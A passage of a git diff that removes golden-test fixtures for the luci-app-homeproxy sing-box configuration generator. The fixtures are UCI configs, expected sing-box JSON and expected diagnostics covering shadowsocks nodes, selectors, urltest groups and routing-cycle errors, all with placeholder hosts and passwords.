a/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/expected/config-diagnostics.json deleted file mode 100644 index aa6fe1f62..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/expected/config-diagnostics.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "items": [ - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/expected/sing-box-c.json deleted file mode 100644 index fff2dc1f0..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/expected/sing-box-c.json +++ /dev/null @@ -1,164 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - }, - { - "tag": "main-dns", - "domain_resolver": { - "server": "default-dns", - "strategy": "ipv4_only" - }, - "detour": "main-out", - "type": "tcp", - "server": "223.5.5.5" - }, - { - "tag": "china-dns", - "domain_resolver": { - "server": "default-dns", - "strategy": "prefer_ipv6" - }, - "detour": "direct-out", - "type": "udp", - "server": "223.5.5.5" - } - ], - "rules": [ - { - "rule_set": "geosite-cn", - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv6" - }, - { - "type": "logical", - "mode": "and", - "rules": [ - { - "rule_set": "geosite-noncn", - "invert": true - }, - { - "rule_set": "geoip-cn" - } - ], - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv6" - } - ], - "strategy": "ipv4_only", - "final": "main-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - }, - { - "type": "shadowsocks", - "tag": "main-out", - "routing_mark": 100, - "server": "reserved.example", - "server_port": 8388, - "password": "reserved-password", - "method": "2022-blake3-aes-128-gcm" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - } - ], - "rule_set": [ - { - "type": "remote", - "tag": "geoip-cn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/IPCIDR-CHINA@rule-set/cn.srs", - "download_detour": "main-out" - }, - { - "type": "remote", - "tag": "geosite-cn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-cn.srs", - "download_detour": "main-out" - }, - { - "type": "remote", - "tag": "geosite-noncn", - "format": "binary", - "url": "https://fastly.jsdelivr.net/gh/1715173329/sing-geosite@rule-set-unstable/geosite-geolocation-!cn.srs", - "download_detour": "main-out" - } - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "route", - "server": "china-dns", - "strategy": "prefer_ipv4" - }, - "final": "main-out" - }, - "experimental": { - "cache_file": { - "enabled": true, - "path": "__TEST_ROOT__/var/run/homeproxy/cache.db" - } - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/homeproxy deleted file mode 100644 index d99cd6b35..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/reserved-tag-label/homeproxy +++ /dev/null @@ -1,23 +0,0 @@ -config homeproxy 'config' - option routing_mode 'bypass_mainland_china' - option proxy_mode 'redirect' - option ipv6_support '0' - option main_node 'n1' - option main_udp_node 'same' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option self_mark '100' - -config homeproxy 'control' - -config node 'n1' - option type 'shadowsocks' - option label 'direct-out' - option address 'reserved.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'reserved-password' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/case.json deleted file mode 100644 index 43d7dd98b..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": false -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/expected/config-diagnostics.json deleted file mode 100644 index ab488b837..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/expected/config-diagnostics.json +++ /dev/null @@ -1,34 +0,0 @@ -{ - "items": [ - { - "type": "error", - "message": "路由节点配置错误:检测到循环引用\n循环路径: rn_b -> rn_a -> rn_b", - "suggestion": "进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,检查以下节点的\"出站\"配置,移除循环引用" - }, - { - "type": "warning", - "message": "路由节点 Cycle A 的节点引用已失效,已在本次生成中临时回退为阻断出站。", - "suggestion": "请进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,重新选择有效节点" - }, - { - "type": "error", - "message": "路由节点配置错误:检测到循环引用\n循环路径: rn_a -> rn_b -> rn_a", - "suggestion": "进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,检查以下节点的\"出站\"配置,移除循环引用" - }, - { - "type": "warning", - "message": "路由节点 Cycle B 的节点引用已失效,已在本次生成中临时回退为阻断出站。", - "suggestion": "请进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,重新选择有效节点" - }, - { - "type": "error", - "message": "路由节点配置错误:检测到循环引用\n循环路径: rn_a -> rn_b -> rn_a", - "suggestion": "进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,检查以下节点的\"出站\"配置,移除循环引用" - }, - { - "type": "warning", - "message": "默认出站 引用了已删除或无效的节点:rn_a,已在本次生成中回退为 block-out。", - "suggestion": "请进入 LuCI 界面检查路由、DNS、规则集中的出站引用" - } - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/homeproxy deleted file mode 100644 index bf28376a3..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-cycle/homeproxy +++ /dev/null @@ -1,35 +0,0 @@ -config homeproxy 'config' - option routing_mode 'custom' - option proxy_mode 'redirect_tproxy' - option ipv6_support '0' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option tproxy_port '5332' - option self_mark '100' - -config homeproxy 'control' - -config homeproxy 'dns' - option default_strategy 'ipv4_only' - option default_server 'default-dns' - option disable_cache '0' - option disable_cache_expire '0' - -config homeproxy 'routing' - option default_outbound 'rn_a' - option default_outbound_dns 'default-dns' - option sniff_override '1' - -config routing_node 'rn_a' - option enabled '1' - option label 'Cycle A' - option node 'rn_b' - -config routing_node 'rn_b' - option enabled '1' - option label 'Cycle B' - option node 'rn_a' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/case.json deleted file mode 100644 index 5550c6db4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/expected/config-diagnostics.json deleted file mode 100644 index aa6fe1f62..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/expected/config-diagnostics.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "items": [ - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/expected/sing-box-c.json deleted file mode 100644 index 8646ce1b6..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/expected/sing-box-c.json +++ /dev/null @@ -1,114 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - } - ], - "strategy": "ipv4_only", - "final": "default-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - }, - { - "type": "tproxy", - "tag": "tproxy-in", - "listen": "::", - "listen_port": 5332, - "network": "udp", - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - }, - { - "type": "shadowsocks", - "tag": "Rule Node", - "routing_mark": 100, - "server": "rule-node.example", - "server_port": 8388, - "password": "rule-node-password", - "method": "2022-blake3-aes-128-gcm" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - }, - { - "domain_suffix": [ - "example.com" - ], - "action": "route", - "outbound": "Rule Node" - } - ], - "rule_set": [ - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "resolve", - "server": "default-dns" - }, - "final": "direct-out" - }, - "experimental": { - "cache_file": { - "enabled": true, - "path": "__TEST_ROOT__/var/run/homeproxy/cache.db" - } - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/homeproxy deleted file mode 100644 index 7dad8a67d..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/routing-rule-direct-node/homeproxy +++ /dev/null @@ -1,40 +0,0 @@ -config homeproxy 'config' - option routing_mode 'custom' - option proxy_mode 'redirect_tproxy' - option ipv6_support '0' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option tproxy_port '5332' - option self_mark '100' - -config homeproxy 'control' - -config homeproxy 'dns' - option default_strategy 'ipv4_only' - option default_server 'default-dns' - option disable_cache '0' - option disable_cache_expire '0' - -config homeproxy 'routing' - option default_outbound 'direct-out' - option default_outbound_dns 'default-dns' - option sniff_override '1' - -config routing_rule 'rule_node' - option enabled '1' - option label 'Route To Concrete Node' - option action 'route' - list domain_suffix 'example.com' - option outbound 'n1' - -config node 'n1' - option type 'shadowsocks' - option label 'Rule Node' - option address 'rule-node.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'rule-node-password' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/case.json deleted file mode 100644 index 43d7dd98b..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": false -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/expected/config-diagnostics.json deleted file mode 100644 index 92aea8a47..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/expected/config-diagnostics.json +++ /dev/null @@ -1,24 +0,0 @@ -{ - "items": [ - { - "type": "error", - "message": "路由节点配置错误:Selector Selector A 与 rn_b 形成循环引用。", - "suggestion": "进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,检查 Selector 节点列表、默认节点和上游出站配置" - }, - { - "type": "warning", - "message": "路由节点 Selector A 没有可用节点,已在本次生成中临时回退为阻断出站。", - "suggestion": "请手动选择节点,或调整节点正则/排除正则以命中可用节点" - }, - { - "type": "error", - "message": "路由节点配置错误:Selector Selector B 与 rn_a 形成循环引用。", - "suggestion": "进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,检查 Selector 节点列表、默认节点和上游出站配置" - }, - { - "type": "warning", - "message": "路由节点 Selector B 没有可用节点,已在本次生成中临时回退为阻断出站。", - "suggestion": "请手动选择节点,或调整节点正则/排除正则以命中可用节点" - } - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/homeproxy deleted file mode 100644 index 755cbe051..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-cycle/homeproxy +++ /dev/null @@ -1,39 +0,0 @@ -config homeproxy 'config' - option routing_mode 'custom' - option proxy_mode 'redirect_tproxy' - option ipv6_support '0' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option tproxy_port '5332' - option self_mark '100' - -config homeproxy 'control' - -config homeproxy 'dns' - option default_strategy 'ipv4_only' - option default_server 'default-dns' - option disable_cache '0' - option disable_cache_expire '0' - -config homeproxy 'routing' - option default_outbound 'rn_a' - option default_outbound_dns 'default-dns' - option sniff_override '1' - -config routing_node 'rn_a' - option enabled '1' - option label 'Selector A' - option node 'selector' - list selector_nodes 'rn_b' - option selector_default 'rn_b' - -config routing_node 'rn_b' - option enabled '1' - option label 'Selector B' - option node 'selector' - list selector_nodes 'rn_a' - option selector_default 'rn_a' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/case.json deleted file mode 100644 index 5550c6db4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/expected/config-diagnostics.json deleted file mode 100644 index aa6fe1f62..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/expected/config-diagnostics.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "items": [ - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/expected/sing-box-c.json deleted file mode 100644 index d843bf624..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/expected/sing-box-c.json +++ /dev/null @@ -1,125 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - } - ], - "strategy": "ipv4_only", - "final": "default-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - }, - { - "type": "tproxy", - "tag": "tproxy-in", - "listen": "::", - "listen_port": 5332, - "network": "udp", - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - }, - { - "type": "selector", - "tag": "Manual Selector", - "outbounds": [ - "Manual A", - "Manual B" - ], - "default": "Manual B" - }, - { - "type": "shadowsocks", - "tag": "Manual A", - "routing_mark": 100, - "server": "manual-a.example", - "server_port": 8388, - "password": "manual-a-password", - "method": "2022-blake3-aes-128-gcm" - }, - { - "type": "shadowsocks", - "tag": "Manual B", - "routing_mark": 100, - "server": "manual-b.example", - "server_port": 8389, - "password": "manual-b-password", - "method": "2022-blake3-aes-128-gcm" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - } - ], - "rule_set": [ - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "resolve", - "server": "default-dns" - }, - "final": "Manual Selector" - }, - "experimental": { - "cache_file": { - "enabled": true, - "path": "__TEST_ROOT__/var/run/homeproxy/cache.db" - } - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/homeproxy deleted file mode 100644 index dab45b693..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-manual-nodes/homeproxy +++ /dev/null @@ -1,49 +0,0 @@ -config homeproxy 'config' - option routing_mode 'custom' - option proxy_mode 'redirect_tproxy' - option ipv6_support '0' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option tproxy_port '5332' - option self_mark '100' - -config homeproxy 'control' - -config homeproxy 'dns' - option default_strategy 'ipv4_only' - option default_server 'default-dns' - option disable_cache '0' - option disable_cache_expire '0' - -config homeproxy 'routing' - option default_outbound 'rn_selector' - option default_outbound_dns 'default-dns' - option sniff_override '1' - -config routing_node 'rn_selector' - option enabled '1' - option label 'Manual Selector' - option node 'selector' - list selector_nodes 'n1' - list selector_nodes 'n2' - option selector_default 'n2' - -config node 'n1' - option type 'shadowsocks' - option label 'Manual A' - option address 'manual-a.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'manual-a-password' - -config node 'n2' - option type 'shadowsocks' - option label 'Manual B' - option address 'manual-b.example' - option port '8389' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'manual-b-password' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/case.json deleted file mode 100644 index 5550c6db4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/expected/config-diagnostics.json deleted file mode 100644 index aa6fe1f62..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/expected/config-diagnostics.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "items": [ - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/expected/sing-box-c.json deleted file mode 100644 index f897351c3..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/expected/sing-box-c.json +++ /dev/null @@ -1,145 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - } - ], - "strategy": "ipv4_only", - "final": "default-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - }, - { - "type": "tproxy", - "tag": "tproxy-in", - "listen": "::", - "listen_port": 5332, - "network": "udp", - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - }, - { - "type": "urltest", - "tag": "URLTest Group", - "outbounds": [ - "URLTest A", - "URLTest B" - ], - "url": "https://www.gstatic.com/generate_204", - "interval": "300s", - "tolerance": 50 - }, - { - "type": "selector", - "tag": "Selector With URLTest", - "outbounds": [ - "URLTest Group", - "Selector Direct Node" - ], - "default": "URLTest Group" - }, - { - "type": "shadowsocks", - "tag": "URLTest A", - "routing_mark": 100, - "server": "urltest-a.example", - "server_port": 8388, - "password": "urltest-a-password", - "method": "2022-blake3-aes-128-gcm" - }, - { - "type": "shadowsocks", - "tag": "URLTest B", - "routing_mark": 100, - "server": "urltest-b.example", - "server_port": 8389, - "password": "urltest-b-password", - "method": "2022-blake3-aes-128-gcm" - }, - { - "type": "shadowsocks", - "tag": "Selector Direct Node", - "routing_mark": 100, - "server": "selector-direct.example", - "server_port": 8390, - "password": "selector-direct-password", - "method": "2022-blake3-aes-128-gcm" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - } - ], - "rule_set": [ - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "resolve", - "server": "default-dns" - }, - "final": "Selector With URLTest" - }, - "experimental": { - "cache_file": { - "enabled": true, - "path": "__TEST_ROOT__/var/run/homeproxy/cache.db" - } - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/homeproxy deleted file mode 100644 index 1053a4d1b..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-references-urltest/homeproxy +++ /dev/null @@ -1,67 +0,0 @@ -config homeproxy 'config' - option routing_mode 'custom' - option proxy_mode 'redirect_tproxy' - option ipv6_support '0' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option tproxy_port '5332' - option self_mark '100' - -config homeproxy 'control' - -config homeproxy 'dns' - option default_strategy 'ipv4_only' - option default_server 'default-dns' - option disable_cache '0' - option disable_cache_expire '0' - -config homeproxy 'routing' - option default_outbound 'rn_selector' - option default_outbound_dns 'default-dns' - option sniff_override '1' - -config routing_node 'rn_urltest' - option enabled '1' - option label 'URLTest Group' - option node 'urltest' - list urltest_nodes 'n1' - list urltest_nodes 'n2' - option urltest_url 'https://www.gstatic.com/generate_204' - option urltest_interval '300' - option urltest_tolerance '50' - -config routing_node 'rn_selector' - option enabled '1' - option label 'Selector With URLTest' - option node 'selector' - list selector_nodes 'rn_urltest' - list selector_nodes 'n3' - option selector_default 'rn_urltest' - -config node 'n1' - option type 'shadowsocks' - option label 'URLTest A' - option address 'urltest-a.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'urltest-a-password' - -config node 'n2' - option type 'shadowsocks' - option label 'URLTest B' - option address 'urltest-b.example' - option port '8389' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'urltest-b-password' - -config node 'n3' - option type 'shadowsocks' - option label 'Selector Direct Node' - option address 'selector-direct.example' - option port '8390' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'selector-direct-password' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/case.json deleted file mode 100644 index 5550c6db4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/expected/config-diagnostics.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/expected/config-diagnostics.json deleted file mode 100644 index aa6fe1f62..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/expected/config-diagnostics.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "items": [ - ] -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/expected/sing-box-c.json b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/expected/sing-box-c.json deleted file mode 100644 index dadc5cd80..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/expected/sing-box-c.json +++ /dev/null @@ -1,114 +0,0 @@ -{ - "log": { - "disabled": false, - "level": "warn", - "output": "__TEST_ROOT__/var/run/homeproxy/sing-box-c.log", - "timestamp": true - }, - "ntp": { - "enabled": true, - "server": "time.apple.com", - "detour": "direct-out", - "domain_resolver": "default-dns" - }, - "dns": { - "servers": [ - { - "tag": "default-dns", - "type": "udp", - "server": "223.5.5.5", - "detour": "direct-out" - }, - { - "tag": "system-dns", - "type": "local", - "detour": "direct-out" - } - ], - "strategy": "ipv4_only", - "final": "default-dns" - }, - "inbounds": [ - { - "type": "direct", - "tag": "dns-in", - "listen": "::", - "listen_port": 5333 - }, - { - "type": "mixed", - "tag": "mixed-in", - "listen": "::", - "listen_port": 5330, - "sniff": true, - "sniff_override_destination": true, - "set_system_proxy": false - }, - { - "type": "redirect", - "tag": "redirect-in", - "listen": "::", - "listen_port": 5331, - "sniff": true, - "sniff_override_destination": true - }, - { - "type": "tproxy", - "tag": "tproxy-in", - "listen": "::", - "listen_port": 5332, - "network": "udp", - "sniff": true, - "sniff_override_destination": true - } - ], - "outbounds": [ - { - "type": "direct", - "tag": "direct-out", - "routing_mark": 100 - }, - { - "type": "block", - "tag": "block-out" - }, - { - "type": "selector", - "tag": "Regex Selector", - "outbounds": [ - "香港 01" - ] - }, - { - "type": "shadowsocks", - "tag": "香港 01", - "routing_mark": 100, - "server": "hk.example", - "server_port": 8388, - "password": "hk-password", - "method": "2022-blake3-aes-128-gcm" - } - ], - "route": { - "rules": [ - { - "inbound": "dns-in", - "action": "hijack-dns" - } - ], - "rule_set": [ - ], - "auto_detect_interface": true, - "default_domain_resolver": { - "action": "resolve", - "server": "default-dns" - }, - "final": "Regex Selector" - }, - "experimental": { - "cache_file": { - "enabled": true, - "path": "__TEST_ROOT__/var/run/homeproxy/cache.db" - } - } -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/homeproxy b/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/homeproxy deleted file mode 100644 index 941de776b..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/selector-regex-nodes/homeproxy +++ /dev/null @@ -1,56 +0,0 @@ -config homeproxy 'config' - option routing_mode 'custom' - option proxy_mode 'redirect_tproxy' - option ipv6_support '0' - option log_level 'warn' - option clash_api_enabled '0' - -config homeproxy 'infra' - option mixed_port '5330' - option redirect_port '5331' - option tproxy_port '5332' - option self_mark '100' - -config homeproxy 'control' - -config homeproxy 'dns' - option default_strategy 'ipv4_only' - option default_server 'default-dns' - option disable_cache '0' - option disable_cache_expire '0' - -config homeproxy 'routing' - option default_outbound 'rn_selector' - option default_outbound_dns 'default-dns' - option sniff_override '1' - -config routing_node 'rn_selector' - option enabled '1' - option label 'Regex Selector' - option node 'selector' - option node_filter '香港|日本' - option node_filter_exclude '日本' - -config node 'n_hk' - option type 'shadowsocks' - option label '香港 01' - option address 'hk.example' - option port '8388' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'hk-password' - -config node 'n_jp' - option type 'shadowsocks' - option label '日本 01' - option address 'jp.example' - option port '8389' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'jp-password' - -config node 'n_us' - option type 'shadowsocks' - option label '美国 01' - option address 'us.example' - option port '8390' - option shadowsocks_encrypt_method '2022-blake3-aes-128-gcm' - option password 'us-password' diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/case.json b/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/case.json deleted file mode 100644 index 5550c6db4..000000000 --- a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/case.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "success": true -} diff --git a/luci-app-homeproxy/tests/generator-golden/fixtures/shadowsocks-basic/expected/config-diagnostics.json 